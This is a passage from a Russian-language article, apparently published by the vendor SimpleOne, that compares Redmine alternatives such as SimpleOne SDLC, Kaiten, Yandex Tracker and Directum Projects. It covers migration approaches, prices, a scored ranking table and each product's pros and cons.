Excel.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Управление релизами (Release Management):&lt;/strong&gt; способность трекера компоновать выполненные задачи (Features/Bugs) в единый Release Candidate, отслеживать его прохождение через тестовые среды и автоматически генерировать Release Notes. Для Enterprise без этого процесса наступает хаос при выкатках.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Гибкость без кода:&lt;/strong&gt; в Redmine кастомизация — это Ruby-плагин, который ломается при обновлении ядра. Проверяем, что в новой системе процессы меняются «мышкой» — аналитиком, а не разработчиком. При этом для Enterprise критично наличие IT-Governance: версионирования настроек и возможности миграции конфигураций между средами Dev/Test/Prod (что отличает настоящий Low-code от No-code «песочниц»).&lt;li&gt;&lt;p&gt;&lt;strong&gt;Архитектура и безопасность:&lt;/strong&gt; полноценный On-premise (для тех, кто выбрал Redmine именно за контроль над данными), Реестр ПО РФ, открытый API.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Миграция и порог входа:&lt;/strong&gt; есть ли импорт из Redmine, сколько стоит перенос истории, как быстро команда начнёт работать без сопротивления.&lt;/ol&gt;&lt;h3&gt;Сколько стоит переезд с Redmine&lt;/h3&gt;&lt;p&gt;Лицензии — видимая часть цены. Невидимая — перенос истории: задачи, комментарии, вложения, связи, кастомные поля и трекеры, накопленные за годы. Три пути:&lt;ul&gt;&lt;li&gt;&lt;p&gt;Встроенный импортёр (Kaiten, Яндекс Трекер): перенос за часы, но проверьте заранее, что переезжают кастомные поля и связи задач, а не только заголовки.&lt;li&gt;&lt;p&gt;Через API (SimpleOne, Comindware, Directum): полный контроль над маппингом, но это отдельный проект. В реальности Enterprise-миграции закладывайте 3–6 месяцев (а не 2-6 недель) на выгрузку, нормализацию данных, маппинг статусов и сверку. Если вы перенесете свой 10-летний мусор из Redmine в новую Enterprise-платформу, вы просто получите медленный и дорогой Redmine. Дубликаты и «мертвые» поля придётся чистить до переноса. Более того, миграция — это повод провести рефакторинг workflow. Если в старом Redmine у вас было 25 кастомных статусов задачи (от «Ждет тестировщика 1» до «Отклонено аналитиком 3»), не тащите их в новую систему. Сведите их к 5-7 базовым статусам. Иначе вы перенесете не только данные, но и бюрократию.&lt;li&gt;&lt;p&gt;Без переноса истории: старый Redmine остаётся в read-only как архив, новая система стартует с активного спринта. Самый быстрый путь — подходит, если аудит не требует единой базы.&lt;/ul&gt;&lt;blockquote&gt;&lt;p&gt;Правило: сначала восстановите активную работу (текущий спринт, критичные дефекты, ближайший релиз), архив подтягивайте вторым этапом. Подробный чеклист вопросов вендору про миграцию — в нашей статье «&lt;a href=https://habr.com/ru/companies/simpleone/articles/1043280/&gt;Как выбрать систему для разработки и пожалеть через полгода&lt;/a&gt;».&lt;/blockquote&gt;&lt;h3&gt;Сравнительная таблица аналогов Redmine&lt;/h3&gt;&lt;p&gt;Оценки основаны на экспертном анализе документации, публичных кейсов и опыте внедрений. Это не результат слепого тестирования — ваш опыт с конкретным продуктом может отличаться.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td data-colwidth=169 width=169&gt;&lt;p align=left&gt;&lt;strong&gt;Система&lt;/strong&gt;&lt;td data-colwidth=123 width=123&gt;&lt;p align=left&gt;&lt;strong&gt;Тип&lt;/strong&gt;&lt;td data-colwidth=167 width=167&gt;&lt;p align=left&gt;&lt;strong&gt;Основная методология&lt;/strong&gt;&lt;td data-colwidth=185 width=185&gt;&lt;p align=left&gt;&lt;strong&gt;Развертывание&lt;/strong&gt;&lt;td data-colwidth=189 width=189&gt;&lt;p align=left&gt;&lt;strong&gt;Миграция с Redmine&lt;/strong&gt;&lt;td data-colwidth=173 width=173&gt;&lt;p align=left&gt;&lt;strong&gt;Цена от&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=169 width=169&gt;&lt;p align=left&gt;&lt;strong&gt;SimpleOne SDLC&lt;/strong&gt;&lt;td data-colwidth=123 width=123&gt;&lt;p align=left&gt;Low-code платформа&lt;td data-colwidth=167 width=167&gt;&lt;p align=left&gt;Hybrid (Agile + Waterfall)&lt;td data-colwidth=185 width=185&gt;&lt;p align=left&gt;On-premise / Cloud&lt;td data-colwidth=189 width=189&gt;&lt;p align=left&gt;Утилиты/API (проект)&lt;td data-colwidth=173 width=173&gt;&lt;p align=left&gt;По запросу&lt;tr&gt;&lt;td data-colwidth=169 width=169&gt;&lt;p align=left&gt;&lt;strong&gt;Kaiten&lt;/strong&gt;&lt;td data-colwidth=123 width=123&gt;&lt;p align=left&gt;Визуальный трекер&lt;td data-colwidth=167 width=167&gt;&lt;p align=left&gt;Agile (Канбан + Scrum)&lt;td data-colwidth=185 width=185&gt;&lt;p align=left&gt;On-premise / Cloud&lt;td data-colwidth=189 width=189&gt;&lt;p align=left&gt;Встроенный импорт&lt;td data-colwidth=173 width=173&gt;&lt;p align=left&gt;от 185 руб./мес за пользователя&lt;tr&gt;&lt;td data-colwidth=169 width=169&gt;&lt;p align=left&gt;&lt;strong&gt;Яндекс Трекер&lt;/strong&gt;&lt;td data-colwidth=123 width=123&gt;&lt;p align=left&gt;Облачный трекер&lt;td data-colwidth=167 width=167&gt;&lt;p align=left&gt;Agile&lt;td data-colwidth=185 width=185&gt;&lt;p align=left&gt;Только Cloud&lt;td data-colwidth=189 width=189&gt;&lt;p align=left&gt;Скрипты/Инструкции&lt;td data-colwidth=173 width=173&gt;&lt;p align=left&gt;Бесплатно до 5 чел, далее от 258 руб./мес за пользователя&lt;tr&gt;&lt;td data-colwidth=169 width=169&gt;&lt;p align=left&gt;&lt;strong&gt;Directum Projects&lt;/strong&gt;&lt;td data-colwidth=123 width=123&gt;&lt;p align=left&gt;ECM / PPM система&lt;td data-colwidth=167 width=167&gt;&lt;p align=left&gt;Waterfall (PMBOK)&lt;td data-colwidth=185 width=185&gt;&lt;p align=left&gt;On-premise / Cloud&lt;td data-colwidth=189 width=189&gt;&lt;p align=left&gt;API/В рамках проекта&lt;td data-colwidth=173 width=173&gt;&lt;p align=left&gt;По запросу, Облако — от 7387 руб. /год.&lt;tr&gt;&lt;td data-colwidth=169 width=169&gt;&lt;p align=left&gt;&lt;strong&gt;Comindware&lt;/strong&gt;&lt;td data-colwidth=123 width=123&gt;&lt;p align=left&gt;BPMS платформа&lt;td data-colwidth=167 width=167&gt;&lt;p align=left&gt;Hybrid&lt;td data-colwidth=185 width=185&gt;&lt;p align=left&gt;On-premise / Cloud&lt;td data-colwidth=189 width=189&gt;&lt;p align=left&gt;API (отдельный проект)&lt;td data-colwidth=173 width=173&gt;&lt;p align=left&gt;По запросу&lt;tr&gt;&lt;td data-colwidth=169 width=169&gt;&lt;p align=left&gt;&lt;strong&gt;YouGile&lt;/strong&gt;&lt;td data-colwidth=123 width=123&gt;&lt;p align=left&gt;Таск-мессенджер&lt;td data-colwidth=167 width=167&gt;&lt;p align=left&gt;Agile&lt;td data-colwidth=185 width=185&gt;&lt;p align=left&gt;On-premise / Cloud&lt;td data-colwidth=189 width=189&gt;&lt;p align=left&gt;CSV/API&lt;td data-colwidth=173 width=173&gt;&lt;p align=left&gt;Бесплатно до 10 чел., далее от ~600 руб. за пользователя. &lt;tr&gt;&lt;td data-colwidth=169 width=169&gt;&lt;p align=left&gt;&lt;strong&gt;WEEEK&lt;/strong&gt;&lt;td data-colwidth=123 width=123&gt;&lt;p align=left&gt;Мультисервис&lt;td data-colwidth=167 width=167&gt;&lt;p align=left&gt;Agile&lt;td data-colwidth=185 width=185&gt;&lt;p align=left&gt;Только Cloud&lt;td data-colwidth=189 width=189&gt;&lt;p align=left&gt;Встроенный импорт&lt;td data-colwidth=173 width=173&gt;&lt;p align=left&gt;190 руб./мес&lt;tr&gt;&lt;td data-colwidth=169 width=169&gt;&lt;p align=left&gt;&lt;strong&gt;ADVANTA&lt;/strong&gt;&lt;td data-colwidth=123 width=123&gt;&lt;p align=left&gt;PPM платформа&lt;td data-colwidth=167 width=167&gt;&lt;p align=left&gt;Waterfall&lt;td data-colwidth=185 width=185&gt;&lt;p align=left&gt;On-premise / Cloud&lt;td data-colwidth=189 width=189&gt;&lt;p align=left&gt;API/Выгрузки&lt;td data-colwidth=173 width=173&gt;&lt;p align=left&gt;4500 руб./мес&lt;tr&gt;&lt;td data-colwidth=169 width=169&gt;&lt;p align=left&gt;&lt;strong&gt;Битрикс24&lt;/strong&gt;&lt;td data-colwidth=123 width=123&gt;&lt;p align=left&gt;Корпоративный портал&lt;td data-colwidth=167 width=167&gt;&lt;p align=left&gt;Hybrid&lt;td data-colwidth=185 width=185&gt;&lt;p align=left&gt;On-premise / Cloud&lt;td data-colwidth=189 width=189&gt;&lt;p align=left&gt;CSV/REST API&lt;td data-colwidth=173 width=173&gt;&lt;p align=left&gt;от ~2000 руб. за компанию&lt;tr&gt;&lt;td data-colwidth=169 width=169&gt;&lt;p align=left&gt;&lt;strong&gt;Мегаплан&lt;/strong&gt;&lt;td data-colwidth=123 width=123&gt;&lt;p align=left&gt;CRM + Задачи&lt;td data-colwidth=167 width=167&gt;&lt;p align=left&gt;Waterfall&lt;td data-colwidth=185 width=185&gt;&lt;p align=left&gt;On-premise / Cloud&lt;td data-colwidth=189 width=189&gt;&lt;p align=left&gt;Импорт CSV&lt;td data-colwidth=173 width=173&gt;&lt;p align=left&gt;от ~1 500 руб. в месяц за 5 пользователей&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;Итоговая балльная таблица рейтинга (Top-10)&lt;/h3&gt;&lt;p&gt;Для тех, кто привык принимать решения на основе цифр, мы выставили оценки по 10-балльной шкале. Этот рейтинг отражает готовность систем стать полноценной заменой Redmine в условиях современной корпоративной эксплуатации.&lt;div&gt;&lt;div class=table&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td data-colwidth=165 width=165&gt;&lt;p align=left&gt;&lt;strong&gt;Система&lt;/strong&gt;&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;&lt;strong&gt;Проектное упр.&lt;/strong&gt;&lt;td data-colwidth=89 width=89&gt;&lt;p align=left&gt;&lt;strong&gt;Agile&lt;/strong&gt;&lt;td data-colwidth=101 width=101&gt;&lt;p align=left&gt;&lt;strong&gt;Гибкость&lt;/strong&gt;&lt;td data-colwidth=116 width=116&gt;&lt;p align=left&gt;&lt;strong&gt;Архитектура&lt;/strong&gt;&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;&lt;strong&gt;Миграция и UX&lt;/strong&gt;&lt;td data-colwidth=75 width=75&gt;&lt;p align=left&gt;&lt;strong&gt;Итог&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=165 width=165&gt;&lt;p align=left&gt;&lt;strong&gt;SimpleOne SDLC&lt;/strong&gt;&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;10&lt;td data-colwidth=89 width=89&gt;&lt;p align=left&gt;9&lt;td data-colwidth=101 width=101&gt;&lt;p align=left&gt;10&lt;td data-colwidth=116 width=116&gt;&lt;p align=left&gt;10&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;7&lt;td data-colwidth=75 width=75&gt;&lt;p align=left&gt;&lt;strong&gt;46&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=165 width=165&gt;&lt;p align=left&gt;&lt;strong&gt;Kaiten&lt;/strong&gt;&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;8&lt;td data-colwidth=89 width=89&gt;&lt;p align=left&gt;10&lt;td data-colwidth=101 width=101&gt;&lt;p align=left&gt;7&lt;td data-colwidth=116 width=116&gt;&lt;p align=left&gt;9&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;10&lt;td data-colwidth=75 width=75&gt;&lt;p align=left&gt;&lt;strong&gt;44&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=165 width=165&gt;&lt;p align=left&gt;&lt;strong&gt;Яндекс Трекер&lt;/strong&gt;&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;7&lt;td data-colwidth=89 width=89&gt;&lt;p align=left&gt;9&lt;td data-colwidth=101 width=101&gt;&lt;p align=left&gt;8&lt;td data-colwidth=116 width=116&gt;&lt;p align=left&gt;8&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;9&lt;td data-colwidth=75 width=75&gt;&lt;p align=left&gt;&lt;strong&gt;41&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=165 width=165&gt;&lt;p align=left&gt;&lt;strong&gt;Directum Projects&lt;/strong&gt;&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;9&lt;td data-colwidth=89 width=89&gt;&lt;p align=left&gt;7&lt;td data-colwidth=101 width=101&gt;&lt;p align=left&gt;8&lt;td data-colwidth=116 width=116&gt;&lt;p align=left&gt;10&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;6&lt;td data-colwidth=75 width=75&gt;&lt;p align=left&gt;&lt;strong&gt;40&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=165 width=165&gt;&lt;p align=left&gt;&lt;strong&gt;Comindware&lt;/strong&gt;&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;7&lt;td data-colwidth=89 width=89&gt;&lt;p align=left&gt;7&lt;td data-colwidth=101 width=101&gt;&lt;p align=left&gt;10&lt;td data-colwidth=116 width=116&gt;&lt;p align=left&gt;9&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;6&lt;td data-colwidth=75 width=75&gt;&lt;p align=left&gt;&lt;strong&gt;39&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=165 width=165&gt;&lt;p align=left&gt;&lt;strong&gt;YouGile&lt;/strong&gt;&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;6&lt;td data-colwidth=89 width=89&gt;&lt;p align=left&gt;9&lt;td data-colwidth=101 width=101&gt;&lt;p align=left&gt;6&lt;td data-colwidth=116 width=116&gt;&lt;p align=left&gt;7&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;10&lt;td data-colwidth=75 width=75&gt;&lt;p align=left&gt;&lt;strong&gt;38&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=165 width=165&gt;&lt;p align=left&gt;&lt;strong&gt;WEEEK&lt;/strong&gt;&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;7&lt;td data-colwidth=89 width=89&gt;&lt;p align=left&gt;8&lt;td data-colwidth=101 width=101&gt;&lt;p align=left&gt;6&lt;td data-colwidth=116 width=116&gt;&lt;p align=left&gt;7&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;9&lt;td data-colwidth=75 width=75&gt;&lt;p align=left&gt;&lt;strong&gt;37&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=165 width=165&gt;&lt;p align=left&gt;&lt;strong&gt;ADVANTA&lt;/strong&gt;&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;10&lt;td data-colwidth=89 width=89&gt;&lt;p align=left&gt;6&lt;td data-colwidth=101 width=101&gt;&lt;p align=left&gt;6&lt;td data-colwidth=116 width=116&gt;&lt;p align=left&gt;9&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;5&lt;td data-colwidth=75 width=75&gt;&lt;p align=left&gt;&lt;strong&gt;36&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=165 width=165&gt;&lt;p align=left&gt;&lt;strong&gt;Битрикс24&lt;/strong&gt;&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;7&lt;td data-colwidth=89 width=89&gt;&lt;p align=left&gt;7&lt;td data-colwidth=101 width=101&gt;&lt;p align=left&gt;8&lt;td data-colwidth=116 width=116&gt;&lt;p align=left&gt;8&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;6&lt;td data-colwidth=75 width=75&gt;&lt;p align=left&gt;&lt;strong&gt;36&lt;/strong&gt;&lt;tr&gt;&lt;td data-colwidth=165 width=165&gt;&lt;p align=left&gt;&lt;strong&gt;Мегаплан&lt;/strong&gt;&lt;td data-colwidth=119 width=119&gt;&lt;p align=left&gt;6&lt;td data-colwidth=89 width=89&gt;&lt;p align=left&gt;6&lt;td data-colwidth=101 width=101&gt;&lt;p align=left&gt;6&lt;td data-colwidth=116 width=116&gt;&lt;p align=left&gt;7&lt;td data-colwidth=107 width=107&gt;&lt;p align=left&gt;7&lt;td data-colwidth=75 width=75&gt;&lt;p align=left&gt;&lt;strong&gt;32&lt;/strong&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Резюме по оценкам.&lt;/strong&gt; SimpleOne SDLC набирает максимум там, где Redmine требует плагинов и костылей: проектное управление, гибкость процессов и архитектура закрыты из коробки.&lt;p&gt;Но лидерство не бесплатное — обратите внимание на колонку миграции: прямого импортера из Redmine нет, перенос истории идёт через API, и переезд на Enterprise-платформу — это проект на недели, а не на выходные.&lt;p&gt;Если скорость переезда для вас важнее глубины платформы, Kaiten со встроенным импортом из Redmine закроет переход за дни — отсюда его второе место с минимальным отрывом. Яндекс Трекер — выбор третьего типа: самый доступный способ получить современный корпоративный трекер без проекта внедрения, особенно для команд, уже живущих в экосистеме Яндекса.&lt;p&gt;Низкие баллы внизу таблицы не означают, что системы плохи — Мегаплан и Битрикс24 отлично работают в своих нишах, просто Scrum, Git и релизные циклы — не их территория. &lt;/blockquote&gt;&lt;h3&gt;Обзор аналогов Redmine&lt;/h3&gt;&lt;h3&gt;SimpleOne SDLC&lt;/h3&gt;&lt;p&gt;&lt;a href=&#34;https://simpleone.ru/sdlc?utm_source=habr_10_06_2026&#34;&gt;SimpleOne SDLC &lt;/a&gt;- это платформа для управления жизненным циклом разработки. &lt;a href=https://simpleone.ru/solutions/sdlc-redmine-alternative&gt;Аналог Redmine&lt;/a&gt;. Если коротко: всё, что в Redmine собирается из плагинов — Agile-доски, Гант, интеграция с Git, кастомные поля и маршруты — здесь есть из коробки и настраивается аналитиком, без Ruby-разработчика и страха перед обновлением ядра.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/cfc/e3e/f29/cfce3ef293cf2fd95f2cb037a1c50348.png alt=&#34;Интерфейс SimpleOne SDLC&#34; title=&#34;Интерфейс SimpleOne SDLC&#34; width=2048 height=1189 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/cfc/e3e/f29/cfce3ef293cf2fd95f2cb037a1c50348.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/cfc/e3e/f29/cfce3ef293cf2fd95f2cb037a1c50348.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Интерфейс SimpleOne SDLC&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Назначение:&lt;/strong&gt; средний и крупный бизнес, ИТ-холдинги, банки. Сильнее всего раскрывается там, где разработка и поддержка должны жить в одном контуре: инцидент из прода становится дефектом в бэклоге без ручного переноса.&lt;p&gt;&lt;strong&gt;Миграция с Redmine:&lt;/strong&gt; через открытый API (отдельный проект маппинга данных).&lt;p&gt;&lt;strong&gt;Ключевые возможности&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;бесшовный ITSM-контур:&lt;/strong&gt; Интеграция ITSM и SDLC нужна не для того, чтобы разработчики читали жалобы пользователей, а для того, чтобы управлять Техническим Долгом (Problem Management) и безопасно выкатывать релизы (Change Enablement). Система позволяет настроить жесткие Quality Gates при передаче дефекта из L3 в разработку.&lt;li&gt;&lt;p&gt;&lt;strong&gt;Low-code кастомизация:&lt;/strong&gt; поля, формы и маршруты согласований настраиваются без программистов;&lt;li&gt;&lt;p&gt;&lt;strong&gt;масштабируемый Agile:&lt;/strong&gt; Scrum, Kanban и SAFe (PI-планирование) из коробки;&lt;li&gt;&lt;p&gt;&lt;strong&gt;глубокая Git-интеграция:&lt;/strong&gt; Нативная связка с GitLab/Bitbucket. Автоматическая смена статусов задач по вебхукам от Merge Requests и привязка коммитов к таскам для обеспечения полной прослеживаемости (Traceability) при аудите (PCI DSS, ГОСТ);&lt;li&gt;&lt;p&gt;&lt;strong&gt;Полноценный Release Management:&lt;/strong&gt; управление версиями продуктов, компоновка релизов из множества задач и дефектов, автоматическое формирование Release Notes.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Плюсы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;единая модель данных: задача, дефект, релиз и инцидент — связанные объекты, а не записи в разных системах;&lt;li&gt;&lt;p&gt;архитектура рассчитана на тысячи пользователей без деградации — для холдингов это критично;&lt;li&gt;&lt;p&gt;встроенные ИИ-ассистенты для анализа кода и классификации задач.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Минусы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;прямого импортера из Redmine нет: перенос истории задач — через API, и это отдельный проект на недели;&lt;li&gt;&lt;p&gt;после лёгкого трекера платформа требует обучения — команда не начнет работать «с понедельника»;&lt;li&gt;&lt;p&gt;стоимость Enterprise-уровня: для команд до 30 человек экономика не сойдется.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Цена:&lt;/strong&gt; по запросу (зависит от масштаба).&lt;h3&gt;Kaiten&lt;/h3&gt;&lt;p&gt;Визуальный комбайн, который делает процессы прозрачными. Kaiten — это то, каким Redmine мог бы стать, если бы его дизайнеры фанатели от физических канбан-досок.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/bc7/8be/161/bc78be16189dbcb7a75e59c439c17b24.png alt=&#34;Интерфейс Kaiten&#34; title=&#34;Интерфейс Kaiten&#34; width=1280 height=623 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/bc7/8be/161/bc78be16189dbcb7a75e59c439c17b24.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/bc7/8be/161/bc78be16189dbcb7a75e59c439c17b24.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Интерфейс Kaiten&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Назначение: &lt;/strong&gt;СМБ, продуктовые команды, стартапы, маркетинговые и рекламные агентства.&lt;p&gt;&lt;strong&gt;Миграция с Redmine:&lt;/strong&gt; Есть встроенные утилиты импорта.&lt;p&gt;&lt;strong&gt;Ключевые возможности&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;hierarchy of boards:&lt;/strong&gt; возможность видеть связи между задачами разных команд на одном визуальном слое;&lt;li&gt;&lt;p&gt;&lt;strong&gt;WIP-лимиты:&lt;/strong&gt; жесткий контроль незавершенной работы для предотвращения «заторов»;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Agile-аналитика:&lt;/strong&gt; встроенные отчеты Cycle Time и CFD в пару кликов.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Плюсы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;эталонный UX/UI: очень быстрый и интуитивный интерфейс;&lt;li&gt;&lt;p&gt;простейшая миграция из Redmine и Jira через встроенные утилиты;&lt;li&gt;&lt;p&gt;демократичная цена для небольших и средних команд.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Минусы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;слабая поддержка классического проектного управления (Waterfall/Гант);&lt;li&gt;&lt;p&gt;отсутствие глубоких инструментов Release Management (компоновка релизов, генерация Release Notes);&lt;li&gt;&lt;p&gt;ограничения платформы при попытке создать сложные, нелинейные бизнес-процессы.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Цена:&lt;/strong&gt; от 185 руб./мес за пользователя (тариф Старт). Есть бесплатный тариф для небольших команд.&lt;h3&gt;Яндекс Трекер&lt;/h3&gt;&lt;p&gt;Массовый корпоративный трекер от Яндекса. Если Redmine для вас — это «слишком много возни», а Enterprise-платформа — «слишком много всего», Трекер закрывает середину: завёл организацию, пригласил команду, работаешь.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/d36/314/812/d36314812e226b3cdecc48aee3bc11d6.png alt=&#34;Интерфейс Яндекс Трекера&#34; title=&#34;Интерфейс Яндекс Трекера&#34; width=2048 height=1152 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/d36/314/812/d36314812e226b3cdecc48aee3bc11d6.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/d36/314/812/d36314812e226b3cdecc48aee3bc11d6.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Интерфейс Яндекс Трекера&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Назначение:&lt;/strong&gt; команды любого размера, которым нужен современный трекер без проекта внедрения; компании в экосистеме Яндекса (Облако, Вики, Формы).&lt;p&gt;&lt;strong&gt;Миграция с Redmine: &lt;/strong&gt;Через API и скрипты миграции.&lt;p&gt;&lt;strong&gt;Ключевые возможности:&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Agile-доски, спринты и burndown из коробки;&lt;li&gt;&lt;p&gt;Автоматизации и триггеры без кода;&lt;li&gt;&lt;p&gt;Интеграция с Яндекс 360 и API для всего остального.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Плюсы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Один из самых низких порогов входа на рынке — команда работает в первый день;&lt;li&gt;&lt;p&gt;Предсказуемая цена за пользователя, бесплатный тариф для маленьких команд;&lt;li&gt;&lt;p&gt;В Реестре ПО РФ.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Минусы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Только облако — для тех, кто держал Redmine ради контроля над данными, это стоп-фактор;&lt;li&gt;&lt;p&gt;Ограниченные возможности для сложной кастомизации бизнес-процессов на уровне Enterprise-архитектуры;&lt;li&gt;&lt;p&gt;Кастомизация ограничена рамками продукта — «собрать под себя» не получится.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Цена:&lt;/strong&gt; Бесплатно до 5 пользователей, далее от 258 руб. за пользователя в месяц.&lt;h3&gt;Directum Projects&lt;/h3&gt;&lt;p&gt;Система управления проектами, выросшая из экосистемы электронного документооборота. Подойдет для замены Redmine В Directum Projects проект — это прежде всего документы, согласования и ЭЦП.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/0e2/6e6/878/0e26e68781f0bc831c0fdfd698172eb7.png alt=&#34;Интерфейс Directum Projects&#34; title=&#34;Интерфейс Directum Projects&#34; width=1808 height=1020 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/0e2/6e6/878/0e26e68781f0bc831c0fdfd698172eb7.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/0e2/6e6/878/0e26e68781f0bc831c0fdfd698172eb7.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Интерфейс Directum Projects&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;Назначение: &lt;/strong&gt;госсектор, промышленность, инжиниринг. Компании с жестким регламентом и гостами.&lt;p&gt;&lt;strong&gt;Миграция с Redmine:&lt;/strong&gt; через API, в рамках проекта внедрения.&lt;p&gt;&lt;strong&gt;Ключевые возможности&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;document-centric подход:&lt;/strong&gt; управление проектами в неразрывной связке с СЭД;&lt;li&gt;&lt;p&gt;&lt;strong&gt;планирование по PMBOK:&lt;/strong&gt; полноценный Гант, критический путь и вехи;&lt;li&gt;&lt;p&gt;&lt;strong&gt;ресурсное планирование:&lt;/strong&gt; мощный блок учета трудозатрат и загрузки людей.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Плюсы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;максимальный уровень безопасности и легитимности (ЭЦП, ФСТЭК);&lt;li&gt;&lt;p&gt;надежность вендора с многолетним опытом в Enterprise;&lt;li&gt;&lt;p&gt;отличная работа с проектной документацией.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Минусы&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;тяжеловесный интерфейс, к которому сложно привыкнуть после легких трекеров;&lt;li&gt;&lt;p&gt;слабая адаптация под быструю продуктовую Agile-разработку (не хватает нативной работы со спринтами и бэклогом разработки);&lt;li&gt;&lt;p&gt;требует длительного внедрения силами аналитиков.&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;Цена:&lt;/strong&gt; Стоимость пакетов лицензий рассчитывается по запросу. Облако — от 7387 руб. /год.&lt;h3&gt;Comindware&lt;/h3&gt;&lt;p&gt;Comindware — это платформа управления процессами (BPMS), которая позволяет собрать свою систему управления проектами, как конструктор, используя графовые базы данных.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/fea/777/af1/fea777af1de7345d3c907e138c9fbe17.png alt=&#34;Интерфейс Comindware 